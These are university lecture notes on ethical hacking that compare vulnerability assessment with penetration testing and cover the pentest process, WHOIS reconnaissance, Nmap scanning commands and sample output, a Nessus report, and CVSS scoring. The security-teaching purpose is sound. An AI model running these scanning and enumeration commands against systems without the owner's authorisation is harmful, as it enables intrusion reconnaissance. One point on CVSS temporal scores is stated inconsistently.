Lecture 11 - Ethical Hacking - Vulnerability Assessment (VA) and Penetration Test (Pentest)

Lecture 11 - Ethical Hacking - Vulnerability Assessment (VA) and Penetration Test (Pentest)

Updated 21 Oct 2026

VAPT = Vulnerability Assessment + Penetration Testing

Objectives

  • Describe the role of an ethical hacker
  • Describe what you can do legally as an ethical hacker
  • Describe what you cannot do as an ethical hacker
  • Understand the process of conducting VA and PenTest

Introduction to Ethical Hacking

  • Ethical hackers
    • Employed by companies to perform penetration tests
  • Penetration test
    • A legal attempt to break into a company's network to find its weakest link
    • Tester only reports findings, does not solve problems
  • Security test
    • More than an attempt to break in; also includes analyzing the company's security policy and procedures
    • Tester offers solutions to secure or protect the network
Penetration TestSecurity Test
ScopeBreak in, find weakest linkBreak in + review policies/procedures
OutputReport of findings onlyFindings + solutions

Analogy: A penetration tester is like a home inspector hired to try every door and window and hand you a list of which ones open. A security tester does the same, but also reviews your house rules ("who gets a key?") and tells you which locks to buy.


The Role of Security and Penetration Testers

  • Hackers
    • Access a computer system or network without authorization
    • Breaks the law; can go to prison
  • Crackers
    • Break into systems to steal or destroy data
    • The U.S. Department of Justice calls both "hackers"
  • Ethical hacker
    • Performs most of the same activities but with the owner's permission
  • Key rule: Ethical hacking=same techniques+owner’s permission\boxed{\text{Ethical hacking} = \text{same techniques} + \text{owner's permission}}

Analogy: A locksmith opening your door because you hired them is a service. The same locksmith opening your neighbour's door without asking is a burglar. The skill is identical; permission is the entire difference.

Script Kiddies & Experienced Testers

  • Script kiddies (or packet monkeys)
    • Young, inexperienced hackers
    • Copy code and techniques from knowledgeable hackers
  • Experienced penetration testers write programs or scripts using languages such as:
    • Perl (Practical Extraction and Report Language), C, C++, Python, JavaScript, Visual Basic, SQL, and many others
  • Script
    • A set of instructions that runs in sequence

Analogy: A script kiddie is someone who follows a recipe they found online without understanding cooking. An experienced tester is the chef who writes the recipes.


Vulnerability Assessment (VA)

  • Definition: The process of finding and measuring the severity of vulnerabilities in a system
  • The process of identifying, quantifying, and prioritizing (ranking) the vulnerabilities in a system
  • A VA report produces lists of vulnerabilities, often called security flaws/loopholes in the system
  • Final outcome: The Vulnerability Assessment Report contains a list of vulnerabilities prioritized by severity and/or business criticality
  • Involves the use of penetration testing tools to discover vulnerabilities
  • Reveals potential security threats
  • Adopts a scanning approach, done both manually and by tools
  • The report is used for the next step: penetration testing (PT)
  • ⚠️ VA is usually a non-intrusive process

Analogy: VA is like a doctor's full check-up. They run tests, list everything that looks off, and rank it from "watch this" to "urgent". They don't operate on you; that's for later.

VA Lifecycle (from diagram)

  1. Asset discovery — Detect and manage local and remote endpoints, roaming devices, and closed-network (DMZ) machines
  2. Vulnerability scanning — Spot all OS vulnerabilities, third-party vulnerabilities, and zero-day vulnerabilities
  3. Vulnerability assessment — Understand the impact of threats and prioritize vulnerabilities based on severity, age, exploit code disclosure, patch availability, and various infographics for timely risk reduction
  4. (beyond the VA boundary — dashed line) Vulnerability remediation — Deploy automatically correlated patches to seal vulnerabilities, and use alternative mitigation measures if no patch is available

The dashed line shows that remediation is NOT part of VA — VA stops at assessment


Vulnerability Assessment Tools

  • Nessus
    • One of the most popular vulnerability scanning tools
    • Commercial product; many companies want people skilled with it
  • OpenVAS
    • The older open-source version of Nessus, still available
    • Pre-packaged with Linux distributions such as Kali Linux
  • Nexpose
    • Vulnerability scanner by Rapid7
    • Highly capable of scanning a system for vulnerabilities with accuracy
  • Plenty of open-source tools are available — try them in your virtual lab
  • ⚠️ Do not choose an active target under any circumstances without authorization. Always obey the law!

Vulnerability Assessment Key Points

  • VAs do not involve any steps to fix or apply patches to a system
  • The objective of VA is to determine vulnerabilities and report them to the client
  • The assessment must be requested and authorized by the client before it is performed
  • Laws and client permission protect both the client and the security engineer from liabilities and legal backlash

OpenVAS

Pros of OpenVAS

  • Free, open-source vulnerability assessment tool maintained by Greenbone Networks
  • CVE coverage of around 26,000
  • Popular and useful among SMEs (small and medium enterprises)
  • Built to be an all-in-one scanner
  • The scan engine is updated on a regular basis
  • Greenbone provides thorough tutorials for using the tool

Cons of OpenVAS

  • Covers fewer CVEs compared to Nessus
  • Less operating system supportability
  • Does not offer policy management
  • Website: https://www.openvas.org

Nessus

Pros of Nessus

  • CVE coverage of around 47,000
  • Great customer support
  • Facilitates group testing
  • Offers real-time visibility
  • Has server-side compatibility with operating systems
  • Built-in scan templates

Cons of Nessus

  • Costs around $2,790/year — not viable for smaller companies
  • Does not allow checking the local security policies of remote systems
  • Network overload can be a drawback
  • Does not offer asset tagging and risk management

Nessus — Scope & Use Cases

  • Scope: Network and system-level vulnerabilities
  • Use cases:
    • Scanning servers (Linux, Windows, etc.)
    • Detecting missing patches, misconfigurations, outdated software, weak passwords
    • Identifying network service vulnerabilities (e.g., SSH, FTP, SMTP, SMB)
    • Checking compliance (CIS benchmarks, PCI DSS, etc.)
  • Type: Authenticated and unauthenticated scans at the infrastructure level
    • Authenticated scan = the scanner logs in with credentials and looks from the inside (more accurate)
    • Unauthenticated scan = scanner looks from the outside like an attacker would
  • Not ideal for: Testing web application logic, input validation, or OWASP vulnerabilities
    • (Use web-app scanners like Burp Suite or OWASP ZAP for those)

Analogy: Nessus is a building inspector: it checks wiring, locks, and fire codes (infrastructure). It is not the person who tests whether the shop's checkout process can be tricked into giving free items (web app logic).


OpenVAS vs. Nessus: Tabular Comparison

FeatureOpenVASNessus
PriceFree$2,790/year
Open Source✅❌
CVE Coverage26K47K
OSLesser supportabilityHas server-side compatibility
Assets Tagging✅❌
Policy Management❌✅

Memory trick: OpenVAS = Open & OK for small budgets. Nessus = Not free but Nearly double the CVEs.


Penetration Testing

  • Penetration testing (Pen Testing) = testing a computer system, network, or web application to find vulnerabilities an attacker could exploit
  • An authorized simulated attack on a web application, computer system, or other resources, performed to evaluate the security of the system
  • PenTest is a POC (proof-of-concept) approach to actually explore and exploit vulnerabilities
  • Purpose: Determine whether a detected vulnerability is genuine or not
  • The pen tester manages to exploit a potentially vulnerable web application, network, or environment
  • Main activities:
    • Scanning the network or application and searching for security flaws
    • Exploiting the security flaws
    • Preparing the final report of the test

Analogy: If VA is the doctor's check-up listing "possible problems," pentesting is the specialist who actually confirms the diagnosis by running the stress test. "We think the knee is weak" becomes "we proved the knee gives out at this weight."


VA vs. Pentest

Vulnerability Assessment onlyBoth (overlap)Penetration Testing only
Non-intrusiveWhite box, gray boxBlack box
Wide focusReport on vulnerabilitiesIntrusive
Starting point for testing securityInformation gatheringNarrow focus
Mix of interviews and toolsUse of security toolsAdvanced security test
Report on exploits
Heavy use of security tools
VA is list-oriented; Penetration Testing is goal-oriented\boxed{\text{VA is \textbf{list-oriented}; Penetration Testing is \textbf{goal-oriented}}}
![[Pasted image 20261014141817.pngcenter400]]

Analogy: VA = walking around a castle and writing down every crack in the wall (a list). Pentest = picking one crack and actually squeezing through it to reach the treasure room (a goal).


Conclusion (VA vs. PT)

  • The key difference: VA has no exploitation; PT involves actual exploitation
    • VA=find + report∣PT=find + exploit + report\boxed{\text{VA} = \text{find + report} \quad|\quad \text{PT} = \text{find + exploit + report}}
  • Permission must be granted to carry out either or both operations
  • Obey cybercrime laws and regulations at all times
  • Many tools are available, but don't rely on only one tool for every situation
  • To gain experience and training: research OWASP, create virtual labs, and complete the training

Why PenTest?

  • Mitigate risk
  • Legal and compliance
    • PCI-DSS — Payment Card Industry Data Security Standard (card payments)
    • HIPAA — Health Insurance Portability and Accountability Act (US healthcare data) (slide spells it "HIPPA")
    • GLBA — Gramm-Leach-Bliley Act (US financial institutions)
    • FISMA/NIST — Federal Information Security Management Act / National Institute of Standards and Technology (US federal systems)
  • Validate/invalidate security controls
  • Find and mitigate vulnerabilities
  • Prevent compromise
  • Make it more difficult for hackers

Types of PenTest (by Knowledge)

  • Whitebox
  • Greybox
  • Blackbox

Internal Assessment vs. External Assessment

  • Penetration testing can be performed from the viewpoint of an external attacker or a malicious employee
  • External testing — mimics how an outsider might attack the system
  • Internal testing — determines how much and what damage a disgruntled employee or another user with authorized access can cause
  • Usually, PenTest→\text{PenTest} \rightarrow Outside-In (attack) testing

Analogy: External testing = a burglar trying to get in from the street. Internal testing = checking what a staff member who already has a building badge could steal.

Black / White / Grey Box (from diagram)

BoxKnowledgeTests as…
Black boxZero knowledgeTesting as Attacker
White boxFull knowledgeTesting as Developer
Grey boxSome knowledgeTesting as User with access to some data
Source: Core Sentinel 2017

Penetration-Testing Methodologies

White Box Model

  • Tester is told everything about the network topology and technology
    • e.g., network diagram
  • Tester is authorized to interview IT personnel and company employees
  • Makes the tester's job a little easier

Black Box Model

  • Company staff does not know about the test
  • Tester is not given details about the network
    • Burden is on the tester to find these details
  • Tests if security personnel are able to detect an attack

Gray Box Model

  • Hybrid of the white and black box models
  • Company gives the tester partial information
  • ⭐ Grey-box testing is generally the best strategy for most businesses — it is the most efficient, quicker to complete, and budget-friendly


(Diagram: Test Case Input → Application [Some Knowledge] → Test Case Output)

Analogy: Testing a house's security:

  • White box = you get the blueprints, alarm codes, and can interview the family.
  • Black box = you're dropped outside with nothing, and the family doesn't know you're coming (tests whether they notice you).
  • Grey box = you're told "there's a back gate and a dog" — enough to skip the boring parts, not enough to make it trivial.

Black-Box vs. Grey-Box vs. White-Box (Detailed)

Black-Box (aka closed box)Grey-Box (combination of black & white)White-Box (aka open box)
GoalMimic a true cyber attackAssess an organization's vulnerability to insider threatsSimulate an attack where an attacker gains access to a privileged account
Access LevelZero access or internal informationSome internal access and internal informationComplete open access to applications and systems
ProsMost realisticMore efficient than black-box; saves time and moneyMore comprehensive, less likely to miss a vulnerability, and faster
ConsTime consuming and more likely to miss a vulnerabilityNo real cons for this type of testingMore data (e.g., source code) must be released to the tester; more expensive

Types of PenTest (by Target)

  • Network
  • Web
  • Mobile
  • Device (incl. IoT)
  • Wireless
  • Red Team (as opposed to Blue Team)
    • Red Team = attackers simulating a real adversary
    • Blue Team = defenders who detect and respond

Analogy: Red Team vs. Blue Team is like a military training exercise: one side plays the invaders, the other plays the defenders, and everyone learns from the result.


When Is the Right Time to Do Pen Testing?

  • Pen testing should be done regularly
  • Annual testing is now seen as outdated
    • ⭐ Recommendation: make pen testing part of regular development and release processes
  • If not possible in-house, providers offer pen testing as a service
  • Vulnerability scans can be part of CI/CD pipelines; longer attack tests can run nightly
  • Pen testing should also be done whenever changes are made to the app/network/server/system
  • ⭐ Such changes include:
    • Moving to a new office premise
    • Releasing a patch
    • Changing user policies
    • Adding new infrastructure

Analogy: You don't check your smoke detectors only once a year when you've just rewired the kitchen. Any time the house changes, you test again.


PenTest Process

  1. Pre-Engagement
    • NDA (Non-Disclosure Agreement), Rules of Engagement, Contract, Documentation
  2. Information Gathering and Reconnaissance
  3. Enumeration
  4. Vulnerability Analysis (get from running a VA tool)
  5. Exploitation
    • Send some code to test the vulnerability
  6. Post Exploitation
  7. Reporting
  8. Retest
  • Rules of Engagement (RoE) = the written agreement on what may be tested, when, how, and what is off-limits

Memory trick: Please Inform Everyone Very Early — Properly Report Results (Pre-engagement, Info gathering, Enumeration, Vuln analysis, Exploitation, Post-exploitation, Reporting, Retest)

PenTest Process Flowchart (from diagram)

  • Foot-printing / Reconnaissance sources: DNS, MxToolbox, WHOIS, CentralOps, Google Searches, Client Inputs
  • Flow:
    1. Identification of targets
    2. → Port scanning
    3. → System fingerprinting
    4. → Identification of vulnerabilities in:
      • Perimeter devices
      • Operating systems
      • Services
      • Web servers
    5. → Decision: "Mandate allows exploitation?"
      • Yes → Deeper network penetration; exploit all possible vulnerabilities
      • No → Non-destructive exploitation of vulnerabilities
    6. → Result collation and report writing

Reconnaissance and Information Gathering

  • Purpose: Discover as much information as possible about a target (individual or organization) without actually making network contact with the target
  • Methods:
    • Organization info discovery via WHOIS
    • Google search
    • Website browsing

Analogy: It's like researching a company before a job interview: reading their website, LinkedIn, and news — all without ever walking into their building.

Footprinting / Reconnaissance

  • The technique used for gathering information about computer systems and the entities they belong to
  • A hacker may use various tools and technologies
  • This information is very useful to a hacker trying to crack a whole system
  • During this phase, a hacker can collect:
    • Domain name
    • IP addresses
    • Namespaces
    • Employee information
    • Phone numbers
    • E-mails
    • Job information
  • Passive vs. active recon:
    • Passive = no direct contact with target (WHOIS, Google, public records)
    • Active = touches the target (port scans, pings) — that's the next phase

WHOIS Results for www.clemson.edu (Example)

Domain Name: CLEMSON.EDU
Registrant:
   Clemson University
   340 Computer Ct
   Anderson, SC 29625
   UNITED STATES
Administrative Contact:
   Network Operations Center
   Clemson University
   340 Computer Court
   Anderson, SC 29625
   UNITED STATES
   (864) 656-4634
   noc@clemson.edu
Technical Contact:
   Mike S. Marshall
   DNS Admin
   Clemson University
   340 Computer Court
   Anderson, SC 29625
   UNITED STATES
   (864) 247-5381
   hubcap@clemson.edu
Name Servers:
   EXTNS1.CLEMSON.EDU    130.127.255.252
   EXTNS2.CLEMSON.EDU    130.127.255.253
   EXTNS3.CLEMSON.EDU    192.42.3.5
  • What an attacker learns: physical address, contact names (social engineering targets), email formats, phone numbers, and name server IPs (network ranges to scan next)

Network Enumeration and Scanning

  • Purpose: Discover existing networks owned by a target, as well as live hosts and services running on those hosts
  • Methods:
    • Scanning programs that identify live hosts, open ports, services, and other info (Nmap, autoscan)
    • DNS querying
    • Route analysis (traceroute)

External and Internal Assessment (from diagram)

  • External Assessment laptop → connects through the Internet → Router → Firewall → internal servers
  • Internal Assessment laptop → plugged directly into the internal switch behind the firewall
  • A web server sits off the firewall (DMZ); internal servers (database, print, file, etc.) sit behind the switch
  • 📌 The firewall stands between external testers and internal servers; internal testers bypass it

Network Enumeration

  • Enumeration = the process of extracting user names, machine names, network resources, shares, and servicesfrom a system

  • The gathered information is used to identify vulnerabilities or weak points in system security, which are then exploited in the system-gaining phase

  • Enumeration extracts information about:

    • Resources or shares on the network
    • Network topology and architecture
    • Usernames or groups assigned on the network
    • Information about users and recent logon times
  • Before enumeration, you use port scanning and footprinting

    • To determine the OS being used
  • ⚠️ Enumeration is an intrusive process

Analogy: Footprinting = finding the building's address. Port scanning = counting which doors and windows exist. Enumeration = walking up to each door and reading the name plates: "Accounting — Jane, Bob, Shared Drive."

Network Enumeration — Nmap Output Example

Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-19 17:51 IST
Interesting ports on 192.168.1.1:
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http

Interesting ports on 192.168.1.2:
Not shown: 997 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
53/tcp   open  domain
80/tcp   open  http

Nmap done: 2 IP addresses (2 hosts up) scanned in 0.51 seconds
  • ① Host 192.168.1.1 has SSH (22) and HTTP (80) open
  • ② Host 192.168.1.2 has Telnet (23), DNS (53), and HTTP (80) open
    • 🚩 Telnet is a red flag — it sends everything (including passwords) in plain text

NMAP Functions

#FunctionDescriptionExample Command
1Host DiscoveryIdentify which devices are up (alive) on a networknmap -sn 192.168.1.0/24
2Port ScanningFind which TCP/UDP ports are open or closednmap -p 1-65535 192.168.1.10
3Service DetectionIdentify what services (and versions) run on open portsnmap -sV 192.168.1.10
4OS DetectionGuess the target's operating system based on network behaviornmap -O 192.168.1.10
5Scriptable Scanning (NSE)Run vulnerability or info-gathering scripts using the Nmap Scripting Enginenmap --script vuln 192.168.1.10
6Network Topology MappingVisualize the network structure using tools like Zenmap(Nmap GUI)zenmap
  • Flag memory aid:
    • -sn → scan, no ports (just ping)
    • -p → ports
    • -sV → scan Versions
    • -O → OS
    • --script → NSE scripts
    • -T4 → timing template (faster); -F → Fast (top 100 ports)
    • -oX → output as XML
  • TCP/UDP ports range: 0 to 65535;(216−1)\boxed{\text{TCP/UDP ports range: } 0 \text{ to } 65535 ;(2^{16} - 1)}
  • /24 in 192.168.1.0/24 = first 24 bits fixed → 232−24=28=2562^{32-24} = 2^8 = 256 addresses

Analogy: Nmap is like a sonar for networks. Host discovery = "is anyone home?" Port scan = "which doors are unlocked?" Service detection = "who answers each door, and what version are they?" OS detection = "judging by the accent, they're from Windows-land."


Nmap Result

  • Example (scan saved in scan.nmap.txt, viewed in GNU nano):
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for ccc-d09-macc242.net.newport.ac.uk (10.208.42.13)
Host is up, received arp-response (0.00070s latency).
Not shown: 976 closed ports, 1 filtered port
Reason: 976 resets and 1 no-response
PORT       STATE  SERVICE      REASON   VERSION
135/tcp    open   msrpc        syn-ack  Microsoft Windows RPC
139/tcp    open   netbios-ssn  syn-ack
445/tcp    open   netbios-ssn  syn-ack
1025/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
1026/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
1027/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
1028/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
1216/tcp   open   ssl/sophos   syn-ack  Sophos Message Router
1218/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
1247/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
1801/tcp   open   msmq?        syn-ack
1947/tcp   open   http         syn-ack  Aladdin HASP license manager 12.47
2103/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
2105/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
2107/tcp   open   msrpc        syn-ack  Microsoft Windows RPC
8192/tcp   open   sophos       syn-ack  Sophos Message Router (Interroper...
8193/tcp   open   tcpwrapped   syn-ack
8194/tcp   open   ssl/sophos   syn-ack  Sophos Message Router
9535/tcp   open   man?         syn-ack
9593/tcp   open   ssl/http     syn-ack  LANDesk/Intel Management Agent ...
9594/tcp   open   ssl/http     syn-ack  LANDesk/Intel Management Agent ...
9595/tcp   open   http         syn-ack  LANDesk/Intel Management Agent ...
33354/tcp  open   landesk      syn-ack  LANDesk Management Suite (Targete...
1 service unrecognized despite returning data. ...
  • How to read it:
    • STATE — open (service listening), closed (reachable, nothing listening), filtered (firewall blocks — no response)
    • REASON — syn-ack means the host replied to the SYN probe → port open; reset → closed; no-response→ filtered
    • VERSION — exact software/version → used to look up CVEs
    • TCP Sequence Prediction: Difficulty=256 (Good luck!) — sequence numbers are hard to guess → TCP hijacking is hard

NMAP Scan Result Interpretation (Zenmap GUI)

  • Command used: nmap -T4 -F 192.168.5.102 (Profile: Quick scan)

Nmap Output Tab

  • Displayed by default when a scan is run
  • Results shown in the familiar Nmap terminal output
  • Output is highlighted — e.g., open and closed ports displayed in different colors
  • Example result:
2016-03-05 21:17 CET
Nmap scan report for 192.168.5.102
Host is up (1.6s latency).
Not shown: 84 closed ports
PORT       STATE     SERVICE
21/tcp     open      ftp
53/tcp     open      domain
80/tcp     open      http
88/tcp     open      kerberos-sec
111/tcp    open      rpcbind
135/tcp    open      msrpc
139/tcp    open      netbios-ssn
389/tcp    open      ldap
445/tcp    open      microsoft-ds
514/tcp    filtered  shell
2049/tcp   open      nfs
49152/tcp  open      unknown
49153/tcp  open      unknown
49154/tcp  open      unknown
49155/tcp  open      unknown
49157/tcp  open      unknown

Nmap done: 1 IP address (1 host up) scanned in 5.73 seconds
  • 📌 Kerberos (88) + LDAP (389) + SMB (445) together suggest a Windows domain controller

Ports/Hosts Tab

  • Display differs depending on whether a host or a service is selected
  • Host selected → shows all the interesting ports on that host
  • Service selected → shows all the hosts which have that port open or filtered

Topology Tab

  • Displays an interactive view of the connections between hosts in a network
  • (Example: localhost → 192.168.5.102; buttons: Hosts Viewer, Fisheye, Controls, Save Graphic)

Host Details Tab

  • Displays information about a target host, such as:
    • Hostnames and addresses
    • Its state (up or down)
    • Number and status of scanned ports, etc.
  • Example values:
    • State: up
    • Open ports: 22, Filtered ports: 1, Closed ports: 84, Scanned ports: 107
    • Up time / Last boot: Not available
    • IPv4: 192.168.5.102; IPv6 / MAC: Not available
    • OS: Microsoft Windows 7 or Windows Server 2012 — Accuracy 100%
  • Check: Scanned=Open+Filtered+Closed⇒22+1+84=107\boxed{\text{Scanned} = \text{Open} + \text{Filtered} + \text{Closed}} \Rightarrow 22 + 1 + 84 = 107 ✓

Scans Tab

  • Shows the scan that was used
  • e.g., Status: Unsaved, Command: nmap -T4 -F 192.168.5.102
  • Buttons: Append Scan, Remove Scan, Cancel Scan

Core/Common Services (Ports)

PortProtoService / Meaning
20TCPFTP data (active FTP data channel)
21TCPFTP control (commands)
22TCPSSH (Secure Shell — remote login/management, SCP/SFTP)
23TCPTelnet (insecure remote login — avoid on production)
25TCPSMTP (email delivery between servers)
53UDP/TCPDNS (name resolution; UDP for queries, TCP for zone transfers / large responses)
67UDPDHCP server (IPv4 boot/lease)
68UDPDHCP client (IPv4)
69UDPTFTP (Trivial FTP — used for network boot)
80TCPHTTP (web traffic)
88TCP/UDPKerberos (auth protocol)
110TCPPOP3 (email retrieval)
123UDPNTP (Network Time Protocol)
137–139UDP/TCPNetBIOS name/session/data (legacy Windows file/printer sharing)
143TCPIMAP (email retrieval)
161/162UDPSNMP (management: 161 agent, 162 trap)
389TCP/UDPLDAP (directory services)
443TCPHTTPS (HTTP over TLS)
445TCPMicrosoft-DS (SMB over TCP — file sharing, Windows domain services)
465TCPSMTPS (SMTP over SSL, legacy)
514UDPsyslog (remote logging; often switched to TCP/relp/syslog-ng)
546/547UDPDHCPv6 client/server
587TCPSMTP (mail submission / authenticated SMTP)

Web / Application Ecosystem (Common)

PortProtoService
80TCPHTTP
443TCPHTTPS
8080TCPHTTP-alt (apps, proxies, dev servers)
8000TCPCommon dev web server port (Django, etc.)
8443TCPHTTPS-alt (admin consoles)
3000TCPDev / Node apps (Express, React dev servers)
9200TCPElasticsearch (HTTP API)
9300TCPElasticsearch cluster (transport)
5601TCPKibana (web UI for Elasticsearch)

Vulnerability Analysis

  • Example: Nessus report for host w2003 (completed Oct 21, 2012) — Vulnerability Summary
Plugin IDCountSeverityNameFamily
600852CriticalPHP 5.3.x < 5.3.15 Multiple VulnerabilitiesCGI abuses
118081CriticalMS03-026: Microsoft RPC Interface Buffer Overrun (823980)Windows
118351CriticalMS03-039: Microsoft RPC Interface Buffer Overrun (824146)Windows
120541CriticalMS04-007: ASN.1 Vulnerability Could Allow Code Execution (828028)Windows
122091CriticalMS04-011: Security Update for Microsoft Windows (835732)Windows
221941CriticalMS06-040: Vulnerability in Server Service Could Allow Remote Code ExecutionWindows
344771CriticalMS08-067: Microsoft Windows Server Service Crafted RPC Request Handling (circled)Windows
353621CriticalMS09-001: Microsoft Windows SMB Vulnerabilities Remote Code ExecutionWindows
527172HighPHP 5.3 < 5.3.6 Multiple VulnerabilitiesCGI abuses
559252HighPHP 5.3 < 5.3.7 Multiple VulnerabilitiesCGI abuses
575372HighPHP < 5.3.9 Multiple VulnerabilitiesCGI abuses
589662HighPHP < 5.3.11 Multiple VulnerabilitiesCGI abuses
589882HighPHP < 5.3.12 / 5.4.2 CGI Query String Code ExecutionCGI abuses
  • MS08-067 is circled — a famous remote code execution flaw (the one exploited by the Conficker worm) → a prime candidate for the exploitation phase

Vulnerability Testing and Exploitation

  • Purpose: Check hosts for known vulnerabilities, see if they are exploitable, and assess the potential severity
  • Methods:
    • Remote vulnerability scanning (Nessus, OpenVAS)
    • Active exploitation testing
      • Login checking and bruteforcing
      • Vulnerability exploitation (Metasploit, Core Impact)
      • 0day and exploit discovery (Fuzzing, program analysis)
      • Post-exploitation techniques to assess severity (permission levels, backdoors, rootkits, etc.)
  • Fuzzing = throwing huge amounts of random/malformed input at a program to see what makes it crash
  • 0day (zero-day) = a vulnerability unknown to the vendor, so there are "zero days" of patch available

CVSS, CVE, NVD

  • CVSS — Common Vulnerability Scoring System
    • Widely used in vulnerability management programs
    • Indicates the severity of an information security vulnerability
    • An integral component of many vulnerability scanning tools
  • CVE — Common Vulnerabilities and Exposures
    • A list of publicly disclosed vulnerabilities and exposures, maintained by MITRE
  • NVD — National Vulnerability Database
    • A database maintained by NIST, fully synchronized with the MITRE CVE list

Analogy: Think of a library.

  • CVE = the catalogue number on each book (unique ID).
  • NVD = the library's database that stores extra details for each catalogue number.
  • CVSS = the "danger rating" sticker on the spine.

CVE (Common Vulnerabilities and Exposures)

  • A list of publicly disclosed vulnerabilities and exposures maintained by MITRE
  • CVE numbers look like:
    • CVE-yyyy-nnnn\boxed{\texttt{CVE-yyyy-nnnn}} → yyyy = year, nnnn = sequence number
    • Scope for millions of vulnerabilities (the sequence part can be 4 or more digits, e.g., CVE-2021-44228)
  • Vendors include as much information as possible in each CVE record, e.g.:
    • CVE number
    • Description of vulnerability
    • Severity
    • References to other CVE records (also known as supersession)
    • Change history
    • Publish date

CVSS — Common Vulnerability Scoring System

  • An open framework for communicating the characteristics and severity of software vulnerabilities
  • CVSS consists of three metric groups:
    • Base
    • Temporal
    • Environmental
  • The Base metrics produce a score from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics
    • 0≤Base Score≤10\boxed{0 \le \text{Base Score} \le 10}

Defining CVSS Scores

Base Metric Group — ExploitabilityBase Metric Group — ImpactTemporal Metric GroupEnvironmental Metric Group
Attack VectorConfidentiality ImpactExploit Code MaturityConfidentiality Requirement
Attack ComplexityIntegrity ImpactRemediation LevelIntegrity Requirement
Privileges RequiredAvailability ImpactReport ConfidenceAvailability Requirement
User InteractionScopeModified Base Metrics
Scope
  • If a new patch is made available by the vendor → the Temporal score goes down
  • If adversaries create and distribute easy-to-use exploit code → the Temporal score goes up
  • The metric group that shows how severity changes due to specific aspects of an organization is the Environmental Metric group

Base Metrics

MetricDescriptionValues
Attack Vector (AV)How the vulnerability is exploitedNetwork (N), Adjacent (A), Local (L), Physical (P)
Attack Complexity (AC)Difficulty of exploitingLow (L) or High (H)
Privileges Required (PR)Level of privilege needed before exploitingNone (N), Low (L), High (H)
User Interaction (UI)Whether user interaction is requiredNone (N), Required (R)
Scope (S)Whether the exploit affects components beyond its scopeUnchanged (U), Changed (C)
Confidentiality (C)Data confidentiality impactNone (N), Low (L), High (H)
Integrity (I)Data integrity impactNone (N), Low (L), High (H)
Availability (A)Service availability impactNone (N), Low (L), High (H)
  • Worst case (highest score): AV:N, AC:L, PR:N, UI:N, S:C, C:H, I:H, A:H
  • Attack Vector order (most → least dangerous): Network>Adjacent>Local>Physical\text{Network} > \text{Adjacent} > \text{Local} > \text{Physical}
    • Network = over the Internet; Adjacent = same local network/Bluetooth; Local = need a local session; Physical= must touch the device
  • Scope Changed = the attack breaks out of the vulnerable component and affects others (e.g., escaping a VM/sandbox)

Analogy: Rating how dangerous a broken lock is:

  • AV = can someone reach it from the street (Network) or must they be inside the room (Physical)?
  • AC = does it pop open easily, or need special tools?
  • PR = do you need a key card first?
  • UI = does someone inside need to open the door for you?
  • Scope = once through, can you get into the other rooms too?
  • C/I/A = can you read the files, change them, or lock everyone out?

Key Principle

  • No matter what an adversary, vendor, or enterprise does, the CVSS Base Score does not change.\boxed{\text{No matter what an adversary, vendor, or enterprise does, the CVSS Base Score does not change.}}
  • Only Temporal (time) and Environmental (organization) scores change

Temporal Metrics

  • Reflect characteristics that change over time, such as exploit availability
MetricDescriptionValues
Exploit Code Maturity (E)How available and functionalexploit code isNot Defined (X), Unproven (U), Proof-of-Concept (P), Functional (F), High (H)
Remediation Level (RL)How available fixes or workarounds areOfficial Fix (O), Temporary Fix (T), Workaround (W), Unavailable (U)
Report Confidence (RC)Confidence in the accuracy of the reportUnknown (U), Reasonable (R), Confirmed (C)

Analogy: Temporal is like a weather warning that changes during the day. A storm is a storm (Base), but the warning level drops once shelters open (patch released) and rises if the storm gets stronger (exploit published).


Environmental Metrics

  • Capture the context of the organization — how important the affected system is in that environment
MetricDescriptionValues
Security Requirements (CR, IR, AR)Importance of Confidentiality, Integrity, AvailabilityLow (L), Medium (M), High (H)
Modified Base MetricsAdjust base metrics to reflect the local environmente.g., Modified Attack Vector (MAV)
  • CR = Confidentiality Requirement, IR = Integrity Requirement, AR = Availability Requirement
  • MAV example: a vuln rated AV:Network might become MAV:Local if that server isn't reachable from the Internet in your network

Scoring System (Severity Ratings)

ScoreRatingSeverity
0.00.0NoneNo impact
0.1−3.90.1 - 3.9LowMinor impact
4.0−6.94.0 - 6.9MediumModerate impact
7.0−8.97.0 - 8.9HighSerious impact
9.0−10.09.0 - 10.0CriticalSevere / full compromise

CVSS Versions

VersionYearNotes
CVSS v2.02007Simplified, widely used historically
CVSS v3.02015Added Scope, Privileges Required, User Interaction
CVSS v3.12019Clarified metric definitions
CVSS v4.02023Added new metrics (Safety, Automatable, Recovery, Value Density) for IoT/OT contexts
Note: in CVSS v4.0, the "Temporal" group was renamed Threat metrics

How CVSS Scoring Works Conceptually

1. Base Metrics → produce a Base Score (0–10)

  • Represents the intrinsic severity of the vulnerability (independent of time or environment)
  • Calculated using the Base formula (involving exploitability and impact sub-scores)

2. Temporal Metrics → adjust the Base Score

  • Reflect the current exploitability (e.g., is exploit code available?)

  • Output is called the Temporal Score

  • Formula:
    Temporal Score=Base Score×E×RL×RC\boxed{\text{Temporal Score} = \text{Base Score} \times E \times RL \times RC}

  • where EE = Exploit Code Maturity, RLRL = Remediation Level, RCRC = Report Confidence

  • Each is a multiplier ≤1\le 1, so the score goes down slightly (or stays the same if "Not Defined" =1=1)

    • Temporal Score≤Base Score\boxed{\text{Temporal Score} \le \text{Base Score}}

3. Environmental Metrics → adapt the Temporal Score

  • Reflect your organization's environment and priorities (e.g., data sensitivity)
  • Produces the Environmental Score (final CVSS)
  • Formula:
    Environmental Score=round_up(Temporal Score×Modified Impact Factors)\boxed{\text{Environmental Score} = \text{round\_up}(\text{Temporal Score} \times \text{Modified Impact Factors})}
  • These modify the confidentiality, integrity, availability weights depending on how important each is to your organization
  • round_up = round up to one decimal place (e.g., 4.02 → 4.1)

